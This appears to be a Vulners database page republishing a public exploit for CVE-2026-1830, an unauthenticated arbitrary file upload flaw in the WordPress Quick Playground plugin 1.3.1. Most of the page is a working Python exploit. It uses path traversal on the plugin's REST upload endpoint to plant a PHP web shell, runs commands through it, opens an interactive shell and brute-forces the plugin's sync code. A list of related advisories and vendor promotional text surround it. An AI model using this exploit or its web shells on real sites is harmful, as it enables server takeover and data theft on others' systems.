| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-1830 | 9 Apr 202603:25 | – | attackerkb | |
| CVE-2026-1830 | 8 Apr 202620:16 | – | circl | |
| WordPress plugin Quick Playground 安全漏洞 | 9 Apr 202600:00 | – | cnnvd | |
| CVE-2026-1830 | 9 Apr 202603:25 | – | cve | |
| CVE-2026-1830 Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload | 9 Apr 202603:25 | – | cvelist | |
| Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution | 29 May 202600:00 | – | exploitdb | |
| EUVD-2026-20843 | 9 Apr 202606:30 | – | euvd | |
| CVE-2026-1830 | 9 Apr 202605:16 | – | nvd | |
| 📄 WordPress Quick Playground 1.3.1 Shell Upload | 29 May 202600:00 | – | packetstorm | |
| WordPress Quick Playground plugin <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload vulnerability | 10 Apr 202609:26 | – | patchstack |
==================================================================================================================================
| # Title : Quick Playground for WordPress 1.3.1 — Unauthenticated File Upload to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip |
==================================================================================================================================
[+] Summary : This script is a fully exploitation utility targeting an alleged unauthenticated file upload vulnerability in a WordPress plugin.
[+] POC :
#!/usr/bin/env python3
import requests
import base64
import random
import string
import re
import sys
import argparse
import time
BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║ Quick Playground WP 1.3.1 - Unauthenticated RCE ║
║ CVE: CVE-2026-1830 ║
║ Author: indoushka ║
║ Type: File Upload -> Remote Code Execution ║
╚═══════════════════════════════════════════════════════════════╝
"""
DEFAULT_TARGET = "http://localhost:8080"
DEFAULT_SYNC_CODE = "exploit123"
DEFAULT_PROFILE = "default"
class QuickPlaygroundExploit:
def __init__(self, target, sync_code, profile="default", verbose=False):
self.target = target.rstrip('/')
self.sync_code = sync_code
self.profile = profile
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/json",
"Accept": "application/json"
})
self.uploaded_shell = None
self.shell_url = None
def log(self, msg, level="INFO"):
"""Print messages with appropriate formatting"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
if self.verbose and level == "INFO":
pass
def generate_filename(self, extension="php"):
"""Generate a random filename"""
name = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"{name}.{extension}"
def get_webshell_content(self, shell_type="simple"):
"""Creating Web Shell Content"""
if shell_type == "simple":
return b'''<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>'''
elif shell_type == "advanced":
return b'''<?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');
if($cmd) {
echo "<pre>";
system($cmd . " 2>&1");
echo "</pre>";
}
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "Uploaded: " . $_FILES['file']['name'];
}
?>'''
elif shell_type == "minimal":
return b'<?=system($_GET["cmd"]);?>'
else:
return b'<?php system($_GET["cmd"]); ?>'
def upload_shell(self, filename=None, shell_type="simple"):
"""Uploading the Web Shell to the server"""
if filename is None:
filename = self.generate_filename()
shell_content = self.get_webshell_content(shell_type)
shell_b64 = base64.b64encode(shell_content).decode()
traversal = "../../../"
full_path = f"{traversal}{filename}"
payload = {
"sync_code": self.sync_code,
"filename": full_path,
"base64": shell_b64
}
url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
self.log(f"Uploading the shell to: {full_path}")
self.log(f"Shell type: {shell_type}")
try:
response = self.session.post(url, json=payload, timeout=15)
if response.status_code == 200:
try:
data = response.json()
msg = data.get("message", "")
if "saving to" in msg.lower():
self.log("The file was uploaded successfully!", "SUCCESS")
self.uploaded_shell = filename
self.shell_url = f"{self.target}/{filename}"
return True
else:
self.log(f"Lifting failed: {msg}", "ERROR")
return False
except:
self.log("Unexpected response from the server", "ERROR")
return False
else:
self.log(f"Response error: {response.status_code}", "ERROR")
return False
except requests.exceptions.RequestException as e:
self.log(f"Connection error: {e}", "ERROR")
return False
def execute_command(self, cmd):
"""Executing an order via Web Shell"""
if not self.shell_url:
self.log("Shell has not yet been lifted!", "ERROR")
return None
try:
response = self.session.get(self.shell_url, params={"cmd": cmd}, timeout=10)
if response.status_code == 200:
match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
if match:
return match.group(1).strip()
else:
return response.text.strip()
else:
self.log(f"Error in executing the command: {response.status_code}", "ERROR")
return None
except requests.exceptions.RequestException as e:
self.log(f"Connection error: {e}", "ERROR")
return None
def test_vulnerability(self):
"""Testing for vulnerability without uploading a file"""
self.log("Vulnerability testing...")
test_content = b"<?php echo 'test'; ?>"
test_b64 = base64.b64encode(test_content).decode()
payload = {
"sync_code": self.sync_code,
"filename": "../../../test_vuln.txt",
"base64": test_b64
}
url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
try:
response = self.session.post(url, json=payload, timeout=15)
if response.status_code == 200:
self.log("There is a loophole! (Request accepted)", "SUCCESS")
return True
else:
self.log("The vulnerability does not exist or the sync_code is incorrect.", "ERROR")
return False
except:
self.log("Target connection failed", "ERROR")
return False
def interactive_shell(self):
"""Interactive shell mode"""
self.log("Entering interactive mode... Type 'exit' to exit", "SUCCESS")
print("\n" + "=" * 50)
self.log("System Information:")
uname = self.execute_command("uname -a")
if uname:
print(f"Operating system: {uname}")
whoami = self.execute_command("whoami")
if whoami:
print(f" user: {whoami}")
pwd = self.execute_command("pwd")
if pwd:
print(f" Current path: {pwd}")
print("\n" + "=" * 50)
print("Interactive mode is ready!\n")
while True:
try:
cmd = input("\033[92mShell>\033[0m ").strip()
if cmd.lower() == "exit":
self.log("Session adjourned...", "WARNING")
break
if not cmd:
continue
if cmd.lower() == "clear":
print("\033c", end="")
continue
if cmd.lower() == "help":
print("""
Available commands:
help - Display this help
clear - Clear the screen
upload - Upload a file (will be executed later)
exit - Exit the shell
""")
continue
result = self.execute_command(cmd)
if result:
print(result)
else:
print("[!]No output was obtained or an error occurred.")
except KeyboardInterrupt:
print("\n[!] Use 'exit' to exit")
except EOFError:
break
def brute_sync_code(target, wordlist_path):
"""Trying to guess sync_code from a dictionary"""
print(f"[*] Attempting to guess sync_code using: {wordlist_path}")
try:
with open(wordlist_path, 'r') as f:
codes = [line.strip() for line in f if line.strip()]
except:
print("[-] The dictionary file cannot be read.")
return None
test_payload = {"sync_code": "", "filename": "test.txt", "base64": "dGVzdA=="}
url = f"{target}/wp-json/quickplayground/v1/upload_image/default"
for code in codes:
test_payload["sync_code"] = code
try:
r = requests.post(url, json=test_payload, timeout=5)
if r.status_code == 200:
data = r.json()
if "saving to" in data.get("message", "").lower():
print(f"[+] تم العثور على sync_code: {code}")
return code
except:
continue
print(f"[-] to fail: {code}", end="\r")
print("\n[-]No valid sync_code was found")
return None
def main():
parser = argparse.ArgumentParser(description="Quick Playground WordPress Plugin RCE Exploit")
parser.add_argument("-u", "--url", default=DEFAULT_TARGET, help=f"Target (default): {DEFAULT_TARGET})")
parser.add_argument("-c", "--code", default=DEFAULT_SYNC_CODE, help=f"Sync icon sync_code (hypothetical: {DEFAULT_SYNC_CODE})")
parser.add_argument("-p", "--profile", default=DEFAULT_PROFILE, help=f"Profile (hypothetical: {DEFAULT_PROFILE})")
parser.add_argument("-f", "--filename", help="Shell file name (random by default)")
parser.add_argument("-t", "--shell-type", choices=["simple", "advanced", "minimal"], default="simple", help="type Web Shell")
parser.add_argument("--cmd", help="Execute one command and then exit")
parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
parser.add_argument("--test", action="store_true", help="Testing for the existence of the vulnerability only")
parser.add_argument("--brute", help="Trying to guess sync_code (Requires a dictionary file)")
parser.add_argument("-v", "--verbose", action="store_true", help="View additional details")
args = parser.parse_args()
print(BANNER)
if args.brute:
found_code = brute_sync_code(args.url, args.brute)
if found_code:
print(f"\n[+] use: python3 {sys.argv[0]} -u {args.url} -c {found_code}")
return
exploit = QuickPlaygroundExploit(args.url, args.code, args.profile, args.verbose)
if args.test:
exploit.test_vulnerability()
return
if args.cmd:
if exploit.upload_shell(args.filename, args.shell_type):
result = exploit.execute_command(args.cmd)
if result:
print(result)
return
if args.interactive:
if exploit.upload_shell(args.filename, args.shell_type):
exploit.interactive_shell()
return
if exploit.upload_shell(args.filename, args.shell_type):
print(f"\n[+] Web Shell ready: {exploit.shell_url}?cmd=command")
print("\n[*] Experimental information:")
id_result = exploit.execute_command("id")
if id_result:
print(f" user: {id_result}")
print("\n[*] To enter interactive mode, use --interactive")
print("[*] example: python3 exploit.py -u {} -c {} --interactive".format(args.url, args.code))
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation